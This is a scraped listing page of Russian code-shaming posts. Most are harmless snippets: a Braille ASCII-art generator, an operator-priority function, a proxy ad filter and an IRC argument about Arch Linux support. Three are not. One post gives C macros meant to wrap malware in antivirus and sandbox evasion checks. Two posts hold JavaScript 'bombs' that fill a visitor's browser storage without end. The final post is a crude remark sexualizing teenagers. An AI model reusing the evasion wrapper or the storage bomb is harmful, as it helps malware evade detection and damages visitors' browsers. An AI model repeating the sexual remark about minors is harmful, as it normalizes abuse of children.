1. Python / Говнокод #26299

    0

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    """ASCII art generator braille only.
    
    To start, put this and the image (you need to rename it to input.jpg) in one folder.
    
    The main problem of the algorithm:
    Due to the fact that the 8 empty dots symbol and any other Braille symbol have different widths,
    the picture may 'float'.
    
    """
    from PIL import Image, ImageDraw
    
    # Change scale of image.
    scale = int(input('% of scale: ')) / 100
    imgForScale = Image.open('input.jpg')
    widthOldForScale, heightOldForScale = imgForScale.size
    widthNewForScale, heightNewForScale = int(widthOldForScale * scale), int(heightOldForScale * scale)
    scaleImg = imgForScale.resize((widthNewForScale, heightNewForScale), Image.ANTIALIAS)
    scaleImg.save('inputScale.jpg')
    # -------------
    
    # Makes the image BW.
    factor = int(input('factor: '))  # The more, the darker.
    imgForBW = Image.open('inputScale.jpg')
    draw = ImageDraw.Draw(imgForBW)
    widthForBW, heightForBW = imgForBW.size
    pix = imgForBW.load()
    for i in range(widthForBW):
        for j in range(heightForBW):
            a = pix[i, j][0]
            b = pix[i, j][1]
            c = pix[i, j][2]
            S = a + b + c
            if S > (((255 + factor) * 3) // 2):
                a, b, c = 255, 255, 255
            else:
                a, b, c = 0, 0, 0
            draw.point((i, j), (a, b, c))
    imgForBW.save("inputScaleBW.jpg")
    # -------------
    
    # The image should be divided by 2 horizontally, by 4 vertically. Otherwise, the extra pixels will be removed.
    img = Image.open('inputScaleBW.jpg')
    size = w, h = img.size
    if (w % 2) == 0:
        pass
    else:
        w -= 1
    hCut = h % 4
    if hCut == 0:
        pass
    else:
        h -= hCut
    # -------------
    
    data = img.load()
    yStart, yEnd = 0, 4
    xStart, xEnd = 0, 2
    valueOfPixNow = []
    b = w // 2  # I don`t remember.
    a = b - 1   # The same thing.
    i = 0
    
    while (yEnd <= h) and (xEnd <= w):
        # Getting data from a image.
        valueOfPixNow = []
        for y in range(yStart, yEnd):
            for x in range(xStart, xEnd):
                if not ((230 <= data[x, y][0] <= 255) and (230 <= data[x, y][1] <= 255) and (230 <= data[x, y][2] <= 255)):
                    valueOfPixNow.append(1)
                else:
                    valueOfPixNow.append(0)
        # -------------------
        # Convert data from image.
        normalBinaryReversed = [valueOfPixNow[0], valueOfPixNow[2], valueOfPixNow[4], valueOfPixNow[1], valueOfPixNow[3],
                                valueOfPixNow[5], valueOfPixNow[6], valueOfPixNow[7]]
        normalBinary = list(reversed(normalBinaryReversed))
        strBinary = ''.join(map(str, normalBinary))
        strHex = hex(int(strBinary, 2))
        twoLastNum = strHex[2:]
        if len(twoLastNum) == 1:
            twoLastNum = '0' + twoLastNum
        hexStrBraille = '28' + twoLastNum
        decimalBraille = int(hexStrBraille, 16)
        answer = chr(decimalBraille)
        # -------------------
        if i == a:
            a += b
            print(answer)
        else:
            print(answer, end='')
        i += 1
    
        if xEnd < w:
            xStart += 2
            xEnd += 2
        else:
            xStart = 0
            xEnd = 2
            yStart += 4
            yEnd += 4

    Fantoner, 02 Января 2020

    Комментарии (7)
  2. Куча / Говнокод #26298

    −2

    1. 1
    Новый год по владимирскому времени! Всех с.

    Больше говнокодов в новом году.

    BJlADuMuPCKuu_nemyx, 01 Января 2020

    Комментарии (156)
  3. Java / Говнокод #26297

    −6

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    // определяем приоритет операций
         private int getPriority(char currentCharacter){
         if (Character.isLetter(currentCharacter))            return 4;
    else if (currentCharacter =='*'|| currentCharacter=='/')  return 3;
    else if (currentCharacter == '+'|| currentCharacter=='-') return 2;
    else if (currentCharacter == '(')                         return 1;
    else if (currentCharacter ==')')                          return -1;
    else                                                      return 0;
    }

    Калькулятор стажера

    kekar2, 31 Декабря 2019

    Комментарии (62)
  4. Си / Говнокод #26294

    −1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    #define BYPASS_AV_BEGIN char* memdmp = NULL;memdmp = (char*)malloc(100000000);if (memdmp != NULL){int cpt = 0;for (int i = 0; i < 100000000; i++){cpt++;}if (cpt == 100000000){HANDLE file;HANDLE proc;proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4);if (proc == NULL){LPVOID mem = NULL;mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);if (mem != NULL){DWORD result = FlsAlloc(NULL);if (result != FLS_OUT_OF_INDEXES){
    #define BYPASS_AV_END }}}}}
    
    int main()
    {
        BYPASS_AV_BEGIN
        //malware code...
        BYPASS_AV_END
    }

    Обход антивирусов и антивирусных виртуалок
    https://lolzteam.org/threads/1275661/

    Stallman, 31 Декабря 2019

    Комментарии (181)
  5. Си / Говнокод #26293

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    int month, print_client, records_printed = 0;
    int distinc[LENGTH];
    // получение month, создание файла и что-то ещё...
    for (int ci = 0; ci < clen; ci++)
    {
        print_client = 0;
        for (int i = 0; i < LENGTH; i++)
            if (distinc[i])
                distinc[i] = 0;
            else break;
        for (int ri = 0; ri < rlen; ri++) {
            if (clients[ci].number == records[ri].number && records[ri].cdate.month == month)
            {
                if (!print_client)
                    fprintf(file, "%s, %lli:\n", clients[ci].fullname, clients[ci].number);
                ++print_client;
                int service = records[ri].service;
                for (int i = 0; i < LENGTH; i++)
                {
                    if (distinc[i])
                    {
                        if (distinc[i] == service)
                            service = 0;
                    }
                    else
                    {
                        distinc[i] = service;
                        break;
                    }
                }
                if (service)
                {
                    for (int si = 0; si < slen; si++)
                    {
                        if (service == services[si].code)
                        {
                            fprintf(file, "\t%s\n", services[si].name);
                            ++records_printed;
                            break;
                        }
                    }
                }
            }
        }
    }

    Имитация СУБД и запроса с исключением повторений

    groser, 30 Декабря 2019

    Комментарии (1)
  6. JavaScript / Говнокод #26292

    −4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    document.addEventListener('DOMContentLoaded', function() {
    	var req = indexedDB.open('site');
    	req.onerror = function() {
    		alert(this.error);
    	};
    	req.onupgradeneeded = function() {
    		let db = this.result;
    		if(!db.objectStoreNames.contains('files'))
    			db.createObjectStore('files', { autoIncrement: true });
    	};
    	let n = 0;
    	req.onsuccess = function() {
    		setTimeout(function run() {
    			n++;
    			let db = req.result;
    			let t = db.transaction('files', 'readwrite');
    			let file = t.objectStore('files');
    			let str = new Date().toString().repeat(1000);
    			for(let i=0;i<100;i++)
    				file.add(str);
    			if(n < 1000000)
    				setTimeout(run);
    		});
    	};
    });

    теперь страница не будет подвисать

    codershitter, 30 Декабря 2019

    Комментарии (21)
  7. JavaScript / Говнокод #26291

    −4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    var req = indexedDB.open('site');
    		req.onupgradeneeded = function() {
    			let db = this.result;
    			if(!db.objectStoreNames.contains('files'))
    				db.createObjectStore('files', { autoIncrement: true });
    		};
    		req.onsuccess = function() {
    			let db = this.result;
    			let t = db.transaction('files', 'readwrite');
    			let file = t.objectStore('files');
    			let str = new Date().toString().repeat(1000);
    			while(true)
    				file.add(str);
    		};

    Эту бомбу лучше ставить после полной загрузки страницы

    codershitter, 30 Декабря 2019

    Комментарии (9)
  8. Pascal / Говнокод #26290

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    procedure TForm1.IdHTTPServer1CommandGet(AContext: TIdContext;
      ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
      var
        http:tidhttp;
        ss:tstringstream;
      begin
      try
        http:=tidhttp.Create(nil);
        http.CookieManager:=tIdcookiemanager.Create(nil);
        http.HandleRedirects:=true;
        http.AllowCookies:=True;
        http.Request.UserAgent:='Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0';
        http.IOHandler:=tidssliohandlersocketopenssl.Create(nil);
        http.Compressor:=tidcompressorzlib.Create(nil);
        http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
        http.Request.AcceptEncoding:='gzip, deflate';
        SS:=tstringstream.Create;
        HTTP.Get(ARequestInfo.URI, SS);
        aresponseinfo.CharSet:=http.Response.CharSet;
        aresponseinfo.ContentType:=http.Response.ContentType+'; '+'charset='+http.Response.CharSet+';';
        aresponseinfo.ContentStream:=SS;
        AResponseInfo.WriteContent;
      except
    
      end;
    
    
    end;

    Мой разложившийся мозг сопротивляется. Сковзь пелену галлюцинаций, где где меня имеют сразу несколько волосатых таджиков, отчетливо пробивается реклама. Ее много. Очень много. Реклама и навязчивые видео с предложениями "срубить бабла" даже страшнее галлюцинаций. Я написал простой фильтр, заключающийся в локальном сервере, к которому я подключаюсь из браузера. Сервер является точкой доступа. Неугодные запросы я буду отпиздовывать на корню.
    Собственно, этот код я запостил как фикс досадного гълюка, заключающегося в том, что браузер посылает нахой поле charset. Это херит даже код html.
    Кодировку следует указывать в поле "КонтентТипе"

    пожалуй, всё. пока.

    AnalBoy, 30 Декабря 2019

    Комментарии (10)
  9. Куча / Говнокод #26287

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    <vistefan> In recently installed Manjaro i have this (https://imgur.com/a/e0Prjez) instead of proper AwesomeWM menu called by Super button. Any Ideas? Tried to install additional fonts. Locales are correct.
    <HEX0> !give vistefan manjaro
    <phrik> vistefan: manjaro does things differently from arch, so we can't really support it. ask in #manjaro or ##linux
    <SGOrava> vistefan: you would be fine as long as you do not mention other distributions and pretend to be using Arch, is it that hard ? Even I do that :D
    <SGOrava> vistefan: My idea is that you are missing some fonts or locale...
    <vistefan> SGOrava, :D
    <Scimmia> !give SGOrava notarch
    <phrik> SGOrava: This channel is for Arch Linux support only. Also see https://wiki.archlinux.org/index.php/Code_of_conduct#Arch_Linux_distribution_support_.2Aonly.2A
    <thingfish> you're better off being up front, from the beginning about what you're running.
    <Scimmia> seriously, we don't want you here if you're going to act like a total piece of shit
    <SGOrava> Scimmia: I know sure, but as long as one knows what one can ask here than it is fine
    <Scimmia> no, it's not
    <Scimmia> at all
    <SGOrava> how is it not ?
    <Scimmia> If you're not on Arch, it's not OK, end of story
    <SGOrava> what is wrong with that when one wants to ask a question 
    <Namarrgon> lying about your distro? ban
    <Scimmia> and asking here implies it's Arch, so knowing the rules and asking anyway is lying
    <SGOrava> why be so pedantic ?
    <Namarrgon> we don't like liars
    <SGOrava> that is why I said one needs to know what belongs here and what does not
    <thingfish> people who help in here have a hard enough time supporting actual Arch users.  They don't need to be wasting their time chasing down some issue for other distros, which should have their own support channels.
    <Namarrgon> support for other distros does not belong here
    <SGOrava> Namarrgon: peopúle lie everyday just to survive
    <Namarrgon> that's a shitty excuse
    <cyveris> That's a shitty person.
    <SGOrava> why are you so hostile ?
    <Namarrgon> if you don't like our rules then you there are plenty of other channels that you can join
    <thingfish> because you don't seem to have a clue, dude.
    <Namarrgon> SGOrava: because you are telling other people to lie to the community just to get support
    <SGOrava> I am not, I am telling them to distinguish where the problem is and ask at the source
    <demonicmaniac3> 21:14 < SGOrava> vistefan: you would be fine as long as you do not mention other distributions and pretend to be using Arch, is it that hard ?
    <Scimmia> and if it's not Arch, the problem is not here
    <demonicmaniac3> you are telling them to pretend to use arch when they ask questions
    <Scimmia> SGOrava: sounds like you aren't running arch...
    <SGOrava> I am running Arch, half of the packages comes from Arch repos, so I run Arch
    <Scimmia> So that's a no
    <thingfish> aargh
    <HEX0> !roulette
    * phrik has kicked HEX0 from #archlinux (BANG!)
    <Scimmia> !give SGOrava notarch
    <cyveris> Bold move, cotton.
    * phrik reloads and spins the chambers.
    <phrik> SGOrava: This channel is for Arch Linux support only. Also see https://wiki.archlinux.org/index.php/Code_of_conduct#Arch_Linux_distribution_support_.2Aonly.2A
    <SGOrava> how is it a no ?
    <Scimmia> SGOrava: where do the other half come from?
    <SGOrava> Scimmia: you still would not care
    <Scimmia> yep, not Arch
    <SGOrava> I know what to ask where (mostly)
    <Scimmia> if you're asking here about anything at all, you obviously don't
    <SGOrava> ??
    <Namarrgon> SGOrava: https://wiki.archlinux.org/index.php/Code_of_conduct#Arch_Linux_distribution_support_*only*
    <phrik> Title: Code of conduct - ArchWiki (at wiki.archlinux.org)
    * HEX0 (~HEX0@unaffiliated/hex0) has joined
    <Namarrgon> you can use whatever distro you want but that doesn't mean that we have to put up with your nonsense
    <cyveris> SGOrava: You're not using Arch Linux. You're using some derivative. Hence, this is not the channel for you, and now that everyone here knows you advocate for lying about it to get help, no one will help you.
    <SGOrava> Namarrgon: sorry, it is too long
    <Namarrgon> alright
    <SGOrava> cyveris: nope, it is channel for me when I have problems which are sourced from Arch
    <Scimmia> SGOrava: and now that you know the rules, ask here and get banned
    <SGOrava> Scimmia: what should I ask ?
    <cyveris> And here we go.
    <SGOrava> cyveris: you said I should ask something, so think about it
    <HEX0> stop talking and install arch linux while you can

    vistefan, 29 Декабря 2019

    Комментарии (96)
  10. C++ / Говнокод #26286

    +2

    1. 1
    2. 2
    Сколько красивых подростков проходит мимо каждый день...
    Почему нельзя просто взять - и отсосать, прямо на улице?

    Можно? Да ну нахуй!

    fuckyou, 28 Декабря 2019

    Комментарии (8)